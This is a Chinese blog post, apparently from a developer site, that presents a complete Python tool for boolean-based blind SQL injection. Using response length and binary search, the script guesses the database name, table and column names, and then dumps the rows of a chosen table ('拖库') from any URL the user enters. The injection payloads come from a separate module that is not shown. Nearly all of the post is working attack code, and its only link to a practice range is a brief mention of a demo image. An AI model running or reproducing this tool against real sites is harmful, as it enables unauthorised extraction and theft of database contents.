Python编写sql布尔盲注脚本

经典造轮子,小白一枚,大佬勿喷

利用requests库构造payload对目标url发起请求,由于是布尔盲注,可根据页面返回长度判断正确字符,也可根据页面返回特征判断,用二分法减少判断次数,根据不同的情况payload要做一些必要的修改,将payload存入指定文件方便调用。代码还有很多地方需要优化。

import requests
import prettytable as pt
import PAYLOAD


# 二分
def dichotomy(low, high):
    mid = (low + high) // 2
    return mid


# 测试数据库长度
def db_length(url, true_length, payload):
    print("[-]开始测试数据库名长度.......")
    num = 1
    while True:
        db_length_payload = url + payload[0].format(NUM=num)
        r = requests.get(db_length_payload)
        if true_length == len(r.text):
            db_length = num
            print("[+]数据库长度:%d\n" % db_length)
            db = db_name(url, true_length, db_length, payload)  # 进行下一步,测试库名
            break
        else:
            num += 1
    return db


# 测试当前数据库名
def db_name(url, true_length, db_length, payload):
    print("[-]开始测试数据库名.......")
    db_name = ''
    for i in range(1, db_length + 1):
        low = 33
        high = 127
        while True:
            mid = dichotomy(low, high)
            db_check_payload = url + payload[1].format(NO_1=i, NUM=mid)
            if len((requests.get(db_check_payload)).text) == true_length:
                db_name += chr(mid)
                print("\r" + db_name, end="", flush=True)
                break
            # print(low, high)
            db_payload = url + payload[2].format(NO_1=i, NUM=mid)
            r = requests.get(db_payload)
            # print(len(r.text))
            if true_length != len(r.text):
                high = mid
            else:
                low = mid
    print("\n\033[31m[+]数据库名:%s\033[0m\n" % db_name)
    tb_piece(url, true_length, db_name, payload)  # 进行下一步,测试当前数据库有几张表
    return db_name


# 测试表总数
def tb_piece(url, true_length, db_name, payload):
    print("[-]开始测试%s数据库有几张表........" % db_name)
    low = 1
    high = 300
    while True:  # 猜解该数据库共有几张表
        mid = dichotomy(low, high)
        tb_check_payload = url + payload[3].format(NUM=mid)
        if len((requests.get(tb_check_payload)).text) == true_length:
            tb_piece = mid
            # print("%s数据库共%d张表"%(db_name,tb_piece))
            break
        tb_count_payload = url + payload[4].format(NUM=mid)
        r = requests.get(tb_count_payload)
        if true_length != len(r.text):
            high = mid
        else:
            low = mid
    print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
    tb_name(url, true_length, db_name, tb_piece, payload)  # 进行下一步,猜解表名


# 猜解表名
def tb_name(url, true_length, db_name, tb_piece, payload):
    print("[-]开始猜解表名.......")
    table_list = []
    for i in range(0, tb_piece):
        tb_length = 0
        tb_name = ''
        for j in range(1, 25):  # 表名长度,合理范围即可
            tb_payload = url + payload[5].format(NO_1=i, NUM=j)
            r = requests.get(tb_payload)
            if true_length == len(r.text):
                tb_length = j
                print("第%d张表名长度:%s" % (i + 1, tb_length))
                break

        for k in range(1, tb_length + 1):
            low = 33
            high = 127
            while True:
                mid = dichotomy(low, high)
                tb_check_payload = url + payload[6].format(NO_1=i, NO_2=k, NUM=mid)
                if len(requests.get(tb_check_payload).text) == true_length:
                    tb_name += chr(mid)
                    print("\r[+]:%s" % tb_name, end="", flush=True)
                    break
                tb_payload = url + payload[7].format(NO_1=i, NO_2=k, NUM=mid)
                r = requests.get(tb_payload)
                if true_length != len(r.text):
                    high = mid
                else:
                    low = mid
        print("")
        table_list.append(tb_name)
    print("\033[33m[+]%s库下的%s张表:%s\033[0m\n" % (db_name, tb_piece, table_list))
    # column_num(table_list, db_name)  # 进行下一步,猜解每张表的字段数


# 猜解指定表字段数
def column_num(url, true_length, db_name, tb_name, payload):
    # print("[-]开始猜解每%s表的字段数......." % tb_name)
    for j in range(30):  # 指定表字段数量,合理范围即可
        column_num_payload = url + payload[8].format(NUM=j, DB_NAME=db_name, TB_NAME=tb_name)
        r = requests.get(column_num_payload)
        if len(r.text) == true_length:
            column_nums = j
            print("[+]%s表\t%s个字段" % (tb_name, column_nums))
            break
    return column_nums


# 猜解指定表字段名
def column_name(url, true_length, db_name, tb_name, payload):
    print("[-]开始猜解%s表的字段名......." % tb_name)
    columns = column_num(url, true_length, db_name, tb_name, payload)
    column_name_list = []
    for i in range(columns):  # i表示每张表的字段数量
        column_name = ''
        for j in range(1, 21):  # j表示每个字段的长度
            column_name_length = url + payload[9].format(NO_1=i, NUM=j, DB_NAME=db_name, TB_NAME=tb_name)
            # print(column_name_length)
            r = requests.get(column_name_length)
            if true_length == len(r.text):
                column_length = j
                print("第%d个字段长度:%s" % (i + 1, column_length))
                break
        for k in range(1, column_length + 1):
            low = 33
            high = 127
            while True:
                mid = dichotomy(low, high)
                # print(mid)
                tb_check_payload = url + payload[10].format(NO_1=i, NO_2=k, NUM=mid, DB_NAME=db_name, TB_NAME=tb_name)
                # print(tb_check_payload)
                if len(requests.get(tb_check_payload).text) == true_length:
                    column_name += chr(mid)
                    print("\r[+]:%s" % column_name, end="", flush=True)
                    break
                # print(low, high)
                tb_payload = url + payload[11].format(NO_1=i, NO_2=k, NUM=mid, DB_NAME=db_name, TB_NAME=tb_name)
                r = requests.get(tb_payload)
                # print(tb_payload)
                if true_length != len(r.text):
                    high = mid
                else:
                    low = mid
        print("")
        column_name_list.append(column_name)
    print("\033[34m[+]:%s表中的%d个字段:%s\033[0m\n" % (tb_name, columns, column_name_list))
    return column_name_list, columns


def dump_data(url, true_length, db_name, tb_name, column_name_list, payload):
    print("\n[-]对%s表的%s字段进行暴破.......\n" % (tb_name, column_name_list))
    data_files = []
    for co_name in column_name_list:  # 字段
        for j in range(200):  # j表示有多少条数据,合理范围即可
            data_num_payload = url + payload[12].format(CO_NAME=co_name, DB_NAME=db_name, TB_NAME=tb_name, NUM=j)
            r = requests.get(data_num_payload)
            if true_length == len(r.text):
                data_num = j
                break
        print("\n[+]%s表中的%s字段有以下%s条数据:" % (tb_name, co_name, data_num))
        data_file = []
        for k in range(data_num):
            data_len = 0
            dump_data = ''
            for l in range(0, 100):  # l表示每条数据的长度,合理范围即可
                data_len_payload = url + payload[13].format(CO_NAME=co_name, DB_NAME=db_name, TB_NAME=tb_name, NO_1=k,
                                                            NUM=l)
                # print(data_len_payload)
                r = requests.get(data_len_payload)
                if true_length == len(r.text):
                    data_len = l
                    flag = 0
                    for x in range(1, data_len + 1):  # x表示每条数据的实际范围,作为mid截取的范围
                        low = 33
                        high = 127
                        while True:
                            mid = dichotomy(low, high)
                            data_check_payload = url + payload[14].format(CO_NAME=co_name, DB_NAME=db_name,
                                                                          TB_NAME=tb_name, NO_1=k, NO_2=x, NUM=mid)
                            if len(requests.get(data_check_payload).text) == true_length:
                                dump_data += chr(mid)
                                print("\r[+]:%s" % dump_data, end="", flush=True)
                                break
                            data_payload = url + payload[15].format(CO_NAME=co_name, DB_NAME=db_name, TB_NAME=tb_name,
                                                                    NO_1=k, NO_2=x, NUM=mid)
                            r = requests.get(data_payload)
                            if true_length != len(r.text):
                                high = mid
                            else:
                                low = mid
                            if low + 1 == high:
                                flag = 1
                                break
                        if flag:
                            print(" \b(存在不可显示字符)")
                            dump_data += "..."
                            break
                    print("")
                    break
            data_file.append(dump_data)
            # print(data_file)  # 输出每条数据
        data_files.append(data_file)
    return data_files


def data_show(data_files, column_name_list, column_nums):
    tb = pt.PrettyTable()
    for i in range(column_nums):
        tb.add_column(column_name_list[i], data_files[i])
    print(tb)


def main():
    url = input("[+] 请输入url: ")  # 目标url
    true_length = len(requests.get(url).text)  # 根据页面返回长度判断布尔盲注的 true & false
    payload = PAYLOAD.payload_int
    db = db_length(url, true_length, payload)  # 程序入口
    while True:
        tb = input("选择查询的表(q退出):")
        if tb == 'q':
            break
        column_name_list, columns = column_name(url, true_length, db, tb, payload)
        flag = input("是否拖库(y or n):")
        if flag == 'y':
            data_files = dump_data(url, true_length, db, tb, column_name_list, payload)
            data_show(data_files, column_name_list, columns)


if __name__ == '__main__':
    main()

靶场演示:
在这里插入图片描述

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值